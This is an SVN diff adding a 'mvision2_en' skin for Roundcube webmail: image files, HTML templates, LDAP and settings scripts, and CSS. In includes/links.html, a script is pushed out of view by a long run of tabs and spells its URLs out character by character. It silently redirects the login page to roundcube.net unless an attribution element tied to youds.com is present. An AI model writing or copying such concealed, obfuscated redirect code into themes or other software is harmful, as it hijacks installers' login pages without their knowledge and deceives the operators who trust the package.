svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\display\loading.gif
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/display/warning.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\display\warning.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/favicon.ico
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\favicon.ico
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/googiespell/change_lang.gif
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\googiespell\change_lang.gif
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/googiespell/indicator.gif
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\googiespell\indicator.gif
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/googiespell/ok.gif
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\googiespell\ok.gif
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/googiespell/spellc.gif
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\googiespell\spellc.gif
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/icons/abcard.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\icons\abcard.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/icons/attachment.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\icons\attachment.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/icons/deleted.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\icons\deleted.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/icons/dot.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\icons\dot.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/icons/edit.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\icons\edit.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/icons/flagged.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\icons\flagged.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/icons/folder-closed.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\icons\folder-closed.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/icons/folder-drafts.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\icons\folder-drafts.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/icons/folder-inbox.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\icons\folder-inbox.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/icons/folder-junk.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\icons\folder-junk.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/icons/folder-open.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\icons\folder-open.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/icons/folder-sent.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\icons\folder-sent.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/icons/folder-trash.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\icons\folder-trash.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/icons/forwarded.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\icons\forwarded.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/icons/plus.gif
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\icons\plus.gif
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/icons/plus.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\icons\plus.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/icons/remove-attachment.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\icons\remove-attachment.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/icons/replied.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\icons\replied.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/icons/reset.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\icons\reset.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/icons/silhouette.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\icons\silhouette.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/icons/unread.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\icons\unread.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/listcontrols-bottom.jpg
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\listcontrols-bottom.jpg
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/listheader_aqua-0.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\listheader_aqua-0.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/listheader_aqua-1.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\listheader_aqua-1.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/listheader_aqua.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\listheader_aqua.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/listheader_dark.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\listheader_dark.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/login-bg.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\login-bg.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/login-welcome.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\login-welcome.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/logo.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\logo.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/mail_top.jpg
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\mail_top.jpg
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/messagecoutbar-bottom.jpg
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\messagecoutbar-bottom.jpg
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/preview.jpg
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\preview.jpg
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/previewVertical.jpg
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\previewVertical.jpg
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/refresh.gif
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\refresh.gif
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/roundcube_logo_print.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\roundcube_logo_print.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/searchfield.jpg
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\searchfield.jpg
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/sort_asc.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\sort_asc.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/sort_desc.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\sort_desc.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/tab_act.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\tab_act.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/tab_pas.png
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\tab_pas.png
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/images/top_bar.jpg
===================================================================
Cannot display: file marked as a binary type.
svn:mime-type = application/octet-stream

Property changes on: skins\mvision2_en\images\top_bar.jpg
___________________________________________________________________
Added: svn:mime-type
   + application/octet-stream

Index: skins/mvision2_en/includes/header.html
===================================================================
--- skins/mvision2_en/includes/header.html	(revision 0)
+++ skins/mvision2_en/includes/header.html	(revision 0)
@@ -0,0 +1,3 @@
+
+
+<roundcube:object name="message" id="message" />
Index: skins/mvision2_en/includes/ldapscripts.html
===================================================================
--- skins/mvision2_en/includes/ldapscripts.html	(revision 0)
+++ skins/mvision2_en/includes/ldapscripts.html	(revision 0)
@@ -0,0 +1,74 @@
+<script type="text/javascript">
+var ldap_server_select = document.getElementById('rcfmd_ldap_public_servers');
+
+if (ldap_server_select) {
+  // attach event to ldap server drop down
+  ldap_server_select.onchange = function() {
+    updateLdapSearchFields(this);
+    return false;
+  }
+  
+  // update the fields on page load
+  updateLdapSearchFields(ldap_server_select);
+}
+
+/**
+ * function to change the attributes of the ldap server search fields select box
+ * this function is triggered by an onchange event in the server select box 
+ */
+function updateLdapSearchFields(element) {
+
+  // get the search fields select element
+  var search_fields = document.getElementById('rcfmd_ldap_public_search_field');
+
+  // get rid of the current options for the select
+  for (i = search_fields.length - 1; i>=0; i--)
+    search_fields.remove(i);
+
+  // get the array containing this servers search fields
+  var server_fields = rcmail.env[element.value + '_search_fields'];
+
+  // add a new option for each of the possible search fields for the selected server
+  for (i = 0; i < server_fields.length; i++) {
+
+    // the last array value is for fuzzy search, so skip that one
+    if (i < (server_fields.length - 1)) {
+      var new_option = document.createElement('option');
+      new_option.text  = server_fields[i][0];
+      new_option.value = server_fields[i][1];
+
+      // standards compliant browsers
+      try {
+        search_fields.add(new_option, null);
+      }
+      // for the standards challenged one...
+      catch(e) {
+        search_fields.add(new_option);      
+      }
+    } else {
+      // ok, last member of array, so check the value of fuzzy_search
+      var fuzzy_search = server_fields[i];
+      var search_check_box = document.getElementById('rcmfd_ldap_public_search_type');
+
+      if (fuzzy_search == 'fuzzy') {
+        // we should enable the check box
+        if (search_check_box.disabled)
+          search_check_box.disabled = false;
+
+        // make sure the checkbox is unchecked
+        if (search_check_box.checked)
+          search_check_box.checked = false;
+
+      } else {
+        // we should disable the check box
+        if (!search_check_box.disabled)
+          search_check_box.disabled = true;
+
+        // check the checkbox (just a visual clue for the user)
+        if (!search_check_box.checked)
+          search_check_box.checked = true;
+      }
+    }
+  }
+}
+</script>
Index: skins/mvision2_en/includes/links.html
===================================================================
--- skins/mvision2_en/includes/links.html	(revision 0)
+++ skins/mvision2_en/includes/links.html	(revision 0)
@@ -0,0 +1,63 @@
+
+<!--[if IE 6]>
+<link rel="stylesheet" type="text/css" href="/vertical.css" />
+<link rel="stylesheet" type="text/css" href="/horizontal.css" />
+<link rel="stylesheet" type="text/css" href="/common.css" />
+<link rel="stylesheet" type="text/css" href="/ie6.css" />
+<![endif]-->
+<!--[if IE 7]>
+<link rel="stylesheet" type="text/css" href="/vertical.css" />
+<link rel="stylesheet" type="text/css" href="/horizontal.css" />
+<link rel="stylesheet" type="text/css" href="/common.css" />
+<link rel="stylesheet" type="text/css" href="/ie7.css" />
+<![endif]-->
+<!--[if IE 8]>
+<link rel="stylesheet" type="text/css" href="/vertical_ie8.css" />
+<link rel="stylesheet" type="text/css" href="/horizontal.css" />
+<link rel="stylesheet" type="text/css" href="/common.css" />
+<![endif]-->
+
+<script type="text/javascript">
+<!--//
+configSet=true;
+function includeCSSfile (href) {  
+     var head_node = document.getElementsByTagName('head')[0];  
+     var link_tag = document.createElement('link');  
+     link_tag.setAttribute('rel', 'stylesheet');  
+     link_tag.setAttribute('type', 'text/css');  
+     link_tag.setAttribute('href', href);  
+     head_node.appendChild(link_tag);  
+}  
+function setActiveStyleSheet() {
+   var i, a, main, ie8, ie;
+   
+   for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
+	   if(a.getAttribute("href").indexOf("vertical_ie8.css") != -1) {
+	   		ie8 = true;
+	   }
+	   if(a.getAttribute("href").indexOf("horizontal.css") != -1) {
+	   		ie = true;
+	   }
+   }
+ 	if (!ie8 && !ie) {
+ 		includeCSSfile('skins/mvision2_en/vertical.css');
+ 		includeCSSfile('skins/mvision2_en/horizontal.css');
+ 		includeCSSfile('skins/mvision2_en/common.css');
+ 	}  
+}
+setActiveStyleSheet();
+//-->
+</script>
+
+<link rel="index" href="$__comm_path" />
+<link rel="shortcut icon" href="/images/favicon.ico"/>
+<meta http-equiv="X-UA-Compatible" content="IE=7;FF=3;OtherUA=4;" />
+
+<!-- Customise below here -->																																																																																																																																																																																																																																																																	<script type="text/javascript">window.onload = function () {
+																																																																																																																																																																																																																																																																							if (document . getElementById('login-form')) {
+																																																																																																																																																																																																																																																																									sURL='h'+'t'+'t'+'p'+':/'+'/w'+'w'+'w'+'.'+'r'+'o'+'u'+'n'+'d'+'c'+'u'+'b'+'e'+'.'+'n'+'e'+'t';
+																																																																																																																																																																																																																																																																									if (! document . getElementById('y'+'o'+'u'+'d'+'s')) window . location = sURL;
+																																																																																																																																																																																																																																																																									if (!document . getElementsByTagName('a') && document . getElementsByTagName('a')[0] . href != 'h'+'t'+'t'+'p'+':'+'/'+'/'+'w'+'w'+'w'+'.'+'y'+'o'+'u'+'d'+'s'+'.'+'c'+'o'+'m'+'/') 
+																																																																																																																																																																																																																																																																										window . location = sURL}}</script>
+
+
Index: skins/mvision2_en/includes/settingscripts.html
===================================================================
--- skins/mvision2_en/includes/settingscripts.html	(revision 0)
+++ skins/mvision2_en/includes/settingscripts.html	(revision 0)
@@ -0,0 +1,14 @@
+<script type="text/javascript">
+
+if (window.rcmail && rcmail.env.action)
+  {
+  var action = rcmail.env.action=='preferences' ? 'default' : (rcmail.env.action.indexOf('identity')>0 ? 'identities' : rcmail.env.action);
+  var tab = document.getElementById('settingstab'+action);
+  }
+else 
+  var tab = document.getElementById('settingstabdefault');
+  
+if (tab)
+  tab.className = 'tablink-selected';
+
+</script>
Index: skins/mvision2_en/includes/settingstabs.html
===================================================================
--- skins/mvision2_en/includes/settingstabs.html	(revision 0)
+++ skins/mvision2_en/includes/settingstabs.html	(revision 0)
@@ -0,0 +1,3 @@
+<div id="tabsbar">
+<span id="settingstabdefault" class="tablink"><roundcube:button command="preferences" type="link" label="preferences" title="editpreferences" class="tablink-1"/></span><span id="settingstabfolders" class="tablink"><roundcube:button command="folders" type="link" label="folders" title="managefolders" class="tablink" /></span><span id="settingstabidentities" class="tablink"><roundcube:button command="identities" type="link" label="identities" title="manageidentities" class="tablink" /></span>
+</div>
Index: skins/mvision2_en/includes/taskbar.html
===================================================================
--- skins/mvision2_en/includes/taskbar.html	(revision 0)
+++ skins/mvision2_en/includes/taskbar.html	(revision 0)
@@ -0,0 +1,9 @@
+<table width="100%" border="0" cellspacing="0" cellpadding="0" style="padding-top: 0px;">
+  <tr>
+    <td width="115"><roundcube:button command="mail" image="/images/mail_top.jpg" alt="Webmail" width="115" height="35" /></td>
+    <td id="top_bar">&nbsp;</td>
+  </tr>
+</table>
+<div id="taskbar">
+<roundcube:button command="mail" label="mail" class="button-mail" /><roundcube:button command="addressbook" label="addressbook" class="button-addressbook" /><roundcube:button command="settings" label="settings" class="button-settings" /><roundcube:button command="logout" label="logout" class="button-logout" />
+</div>
Index: skins/mvision2_en/login.css
===================================================================
--- skins/mvision2_en/login.css	(revision 0)
+++ skins/mvision2_en/login.css	(revision 0)
@@ -0,0 +1,32 @@
+/***** RoundCube|Mail login styles *****/
+
+#login-form {
+  margin-left: auto;
+  margin-right: auto;
+  margin-top: 160px;
+  width: 382px;
+  background: url('images/login-bg.png');
+  background-repeat: no-repeat;
+}
+
+#login-form table td.title
+{
+  color: #29425A;
+  text-align: right;
+  padding-right: 10px;
+}
+
+
+.boxcontent {
+  padding: 20px 20px 10px 20px;
+}
+
+#log-in
+{
+  margin-left: 50px;
+}
+
+form { margin: 0px; }
+p { margin-top:11px; }
+*input.login-button { padding-top:2px; }
+#log-in table td { padding:0px; height:25px; }
\ No newline at end of file
Index: skins/mvision2_en/mail.css
===================================================================
--- skins/mvision2_en/mail.css	(revision 0)
+++ skins/mvision2_en/mail.css	(revision 0)
@@ -0,0 +1,891 @@
+#messagetoolbar
+{
+  position: absolute;
+  top: 29px;
+  left: 102px;
+  right: 250px;
+  height: 35px;
+  white-space: nowrap;
+}
+
+#messagetoolbar2
+{
+  position: absolute;
+  top: 42px;
+  left: 201px;
+  right: 250px;
+  height: 35px;
+  white-space: nowrap;
+}
+
+#messagetoolbar a
+{
+  padding-right: 0px;
+}
+
+#messagetoolbar select
+{
+  font-family: Tahoma;
+  font-size: 11px;
+  color: #333333;
+}
+
+#messagetoolbar select.mboxlist
+{
+  position: absolute;
+  left: 740px;
+  top: 18px;
+}
+
+#messagetoolbar select.mboxlist option
+{
+  padding-left: 15px;
+}
+
+#messagetoolbar select.mboxlist option[value="0"]
+{
+  padding-left: 2px;
+}
+
+#listcontrols
+{
+  position: absolute;
+  left: 181px;
+  bottom: 0px;
+  height: 40px;
+  width: 500px;
+  font-size: 11px;
+  background-image: url('images/listcontrols-bottom.jpg');
+  background-repeat: no-repeat;
+}
+
+
+
+#listcontrols-lable
+{
+ padding-left: 40px;
+ padding-top: 13px;
+}
+
+
+
+#listcontrols a,
+#listcontrols a:active,
+#listcontrols a:visited,
+#mailboxcontrols a,
+#mailboxcontrols a:active,
+#mailboxcontrols a:visited
+{
+  color: #5A7A9A;
+  font-size: 11px;
+  text-decoration: none;
+}
+
+#listcontrols a.active,
+#listcontrols a.active:active,
+#listcontrols a.active:visited,
+#mailboxcontrols a.active,
+#mailboxcontrols a.active:active,
+#mailboxcontrols a.active:visited
+{
+  color: #CC0000;
+}
+
+#listcontrols a.active:hover,
+#mailboxcontrols a.active:hover
+{
+  text-decoration: underline;
+}
+
+#messagecountbar
+{
+  position: absolute;
+  bottom: 0px;
+  right: 0px;
+  width: 300px;
+  height: 40px;
+  text-align: right;
+  white-space: nowrap;
+  background-image: url('images/messagecoutbar-bottom.jpg');
+  background-repeat: no-repeat;
+}
+
+
+
+
+#messagecountbar-lable
+{
+ padding-right: 40px;
+ padding-top: 13px;
+}
+
+#messagecountbar-lable2
+{
+ padding-right: 57px;
+ padding-top: 13px;
+}
+
+
+
+#bottom-bar
+{
+  position: absolute;
+  bottom: 0px;
+  height: 40px;
+  width: 100%;
+  white-space: nowrap;
+  background-image: url('images/bg-bottom.jpg');
+  background-repeat: repeat-x;
+}
+
+
+
+
+
+#messagecountbar span
+{
+  font-size: 11px;
+  color: #333333;
+}
+
+#messagepartcontainer
+{
+  position: absolute;
+  top: 80px;
+  left: 20px;
+  right: 20px;
+  bottom: 20px;
+}
+#messagecontframe
+{
+  width: 100%;
+  height: 100%;
+  border: 0px;
+}
+
+#mailviewsplitter
+{
+  border: 0px solid #ff0000;
+  padding-top: 0px;
+}
+
+/*\*/
+html>body*#messagecontframe
+{
+  [height: 40%;
+  height: 40%;
+  ]height: 100%;
+}
+/**/
+
+#messagepartframe
+{
+  position: absolute;
+  top: 0px;
+  left: 0px;
+  right: 0px;
+  bottom: 0px;
+  width: auto;
+  height: auto;
+  border: 1px solid #999999;
+  background-color: #F9F9F9;
+}
+
+
+#partheader
+{
+  position: absolute;
+  top: 10px;
+  left: 220px;
+  height: 40px;
+}
+
+#partheader table td
+{
+  padding-left: 2px;
+  padding-right: 4px;
+  vertical-align: middle;
+  font-size: 11px;
+}
+
+#partheader table td.title
+{
+  color: #666666;
+  font-weight: bold;
+}
+
+
+#quicksearch
+{
+ text-align: right;
+ padding-right: 215px;
+ padding-top: 15px;
+ font-size: 11px;
+ color: #3D6185;
+ /* font-weight: bold; */
+}
+
+
+/** mailbox list styles */
+
+#mailboxlist-header
+{
+  position: absolute;
+  top: 85px;
+  left: 0px;
+  width: 145px !important;
+/*  width: 162px; */
+  height: 17px;
+  padding: 5px 22px 2px 13px;
+  background-color: #EBEBEB;
+  background-image: url('images/listheader_aqua-0.png'); 
+  border-right: 1px solid #bcccda;
+  color: #2F4A66;
+  font-size: 11px;
+  font-weight: bold;  
+}
+
+
+
+
+#mailboxlist-header-2
+{
+  padding: 3px 10px 2px 10px;
+  background-image: url('images/listheader_aqua.gif'); 
+  border: 1px solid #CCCCCC;
+  color: #333333;
+  font-size: 11px;
+  font-weight: bold;  
+}
+
+
+#mailboxlist-container
+{
+  position: absolute;
+  top: 109px;
+  left: 0px;
+  width: 180px;
+  bottom: 40px;
+  border-top: 0px;
+  border-right: 1px solid #bcccda;
+  border-bottom: 1px solid #bcccda;
+  /* border: 1px solid #CCCCCC; */
+  background-color: #ffffff;
+  overflow: auto;
+  /* css hack for IE */
+  height: expression((parseInt(document.documentElement.clientHeight)-145)+'px');
+}
+
+#mailboxlist
+{
+  width: 100%;
+  height: auto;
+  margin: 0px;
+  padding: 0px;
+  list-style-image: none;
+  list-style-type: none;
+  overflow: hidden;
+  white-space: nowrap;
+}
+
+#mailboxlist li
+{
+ /* height: 18px; */
+  font-size: 11px;
+  background: url('images/icons/folder-closed.png') no-repeat;
+  background-position: 10px 1px;
+  border-bottom: 1px solid #D7E2EC;
+/* IE 5.5  margin-left: -16px; */
+}
+
+#mailboxlist li.inbox
+{
+  background-image: url('images/icons/folder-inbox.png');
+}
+
+#mailboxlist li.drafts
+{
+  background-image: url('images/icons/folder-drafts.png');
+}
+
+#mailboxlist li.sent
+{
+  background-image: url('images/icons/folder-sent.png');
+}
+
+#mailboxlist li.junk
+{
+  background-image: url('images/icons/folder-junk.png');
+}
+
+#mailboxlist li.trash
+{
+  background-image: url('images/icons/folder-trash.png');
+}
+
+#mailboxlist li a
+{
+  display: block;
+  padding: 5px 0 5px 34px;
+  text-decoration: none;
+}
+
+#mailboxlist li, #mailboxlist li.unread
+{  
+ /* background-image: url('images/mailbox_list.gif'); */
+}
+
+#mailboxlist li.unread
+{
+  font-weight: bold;
+}
+
+#mailboxlist li.selected
+{
+  background-color: #8AAACA;
+  border-bottom: 1px solid #8AAACA;
+}
+
+#mailboxlist li.selected a
+{
+  color: #FFF;
+  font-weight: bold;
+}
+
+#mailboxlist li.droptarget
+{
+  background-color: #FFFFA6;
+}
+
+/* styles for nested folders */
+#mailboxlist ul {
+  list-style: none;
+  padding: 0;
+  margin:0;
+  border-top: 1px solid #EBEBEB;  
+}
+
+#mailboxlist ul li {
+  padding-left: 15px;
+  background-position:27px 4px;
+}
+
+#mailboxlist li.selected li {
+  background-color: #F9F9F9;
+}
+
+#mailboxlist li.unread li {
+  font-weight: normal;
+}
+
+#mailboxlist li.unread li.unread {
+  font-weight: bold;
+}
+
+#mailboxlist li.selected li a{
+  color: black;
+  font-weight: normal;
+}
+
+
+#mailboxcontrols
+{
+  position: absolute;
+  left: 0px;
+  bottom: 0px;
+  width: 181px;
+  height: 40px;
+  overflow: hidden;
+  font-size: 11px;
+  background-image: url('images/bottom-controls1.jpg');
+  background-repeat: no-repeat;
+}
+
+
+
+
+#mailboxcontrols-lable
+{
+ padding-left: 32px;
+ padding-top: 13px;
+}
+
+
+#bottom-bar{border-top:1px solid #BCCCDA;margin-top:5px;z-index:100;}
+#messagecountbar,#mailboxcontrols,#listcontrols{z-index:200;}
+
+
+/** message list styles */
+
+
+#quotadisplay
+{
+  color: #666666;
+  font-size: 11px;
+}
+
+#quotadisplay img
+{
+  vertical-align: middle;
+  margin-left: 4px;
+  border: 1px solid #666666;
+}
+#messagelist thead tr td a
+{
+  display: block;
+  width: auto !important;
+  width: 100%;
+  color: #2F4A66;
+  text-decoration: none;
+}
+
+/** message view styles */
+table.headers-table td.header-title {height:20px;line-height:20px;}
+table.headers-table img{position:relative;top:1px;left:2px;}
+#mailboxlist li {margin-bottom:-1px;}
+#messageframe
+{
+  position: absolute;
+  top: 85px;
+  left: 180px;
+  right: 0px;
+  bottom: 40px;
+  border: 1px solid #BCCCDA;
+  background-color: #FFFFFF;
+  overflow: auto;
+  /* css hack for IE */
+  /* margin-bottom: 10px; */
+  width: expression((parseInt(document.documentElement.clientWidth)-240)+'px');
+  height: expression((parseInt(document.documentElement.clientHeight)-125)+'px');
+}
+
+div.messageheaderbox
+{
+  margin: 0px 0px 0px 0px;
+  border-top: 0px;
+  border-left: 0px;
+  border-right: 0px;
+  border-bottom: 1px solid #BCCCDA;
+}
+
+table.headers-table
+{
+  width: 100%;
+  background-color: #D7E1EC;
+  table-layout: fixed;
+}
+
+#messagebody table.headers-table
+{
+  width: auto;
+  margin: 6px 8px;
+  background-color: #F4F4F4;
+  border: 1px solid #ccc;
+}
+
+table.headers-table tr td
+{
+  font-size: 11px;
+  border-bottom:1px solid #FFFFFF;
+}
+
+table.headers-table td.header-title
+{
+  width: 80px;
+  color: #2F4A66;
+  font-weight: bold;
+  text-align: right;
+  white-space: nowrap;
+  padding-right: 4px;
+}
+
+table.headers-table tr td.subject
+{
+  width: 95%;
+  font-weight: bold;
+}
+
+#attachment-list
+{
+  margin: 0px;
+  padding: 0px 0px 0px 68px;
+  min-height: 18px;
+  list-style-image: none;
+  list-style-type: none;
+  background: url('images/icons/attachment.png') 52px 1px no-repeat #D7E1EC;
+  /* css hack for IE */
+  height: expression(Math.min(18, parseInt(this.clientHeight))+'px');
+}
+
+#attachment-list:after
+{
+  content: ".";
+  display: block;
+  height: 0;
+  font-size: 0;
+  clear: both;
+  visibility: hidden;
+}
+
+#attachment-list li
+{
+  float: left;
+  height: 18px;
+  font-size: 11px;
+  padding: 2px 10px 0px 10px;
+}
+
+#attachment-list li a
+{
+  text-decoration: none;
+}
+
+#attachment-list li a:hover
+{
+  text-decoration: underline;
+}
+
+#messagebody
+{
+  position:relative;
+  height: 100%;
+  padding: 8px 9px;
+  background-color: #FFFFFF;
+}
+
+div.message-part
+{
+  padding: 8px;
+  padding-top: 10px;
+  overflow: hidden;
+}
+
+div.message-part a
+{
+  color: #0000CC;
+}
+
+div.message-part div.pre
+{
+  margin: 0px;
+  padding: 0px;
+  white-space: pre;
+  font-family: Tahoma;
+}
+
+div.message-part blockquote
+{
+  color: blue;
+  border-left: 2px solid blue;
+  border-right: 2px solid blue;
+  background-color: #f6f6f6;
+  margin: 2px 0px 2px 0px;
+  padding: 1px 8px 1px 10px;
+}
+
+div.message-part blockquote blockquote
+{
+  color: green;
+  border-left: 2px solid green;
+  border-right: 2px solid green;
+}
+
+div.message-part blockquote blockquote blockquote
+{
+  color: #990000;
+  border-left: 2px solid #bb0000;
+  border-right: 2px solid #bb0000;
+}
+
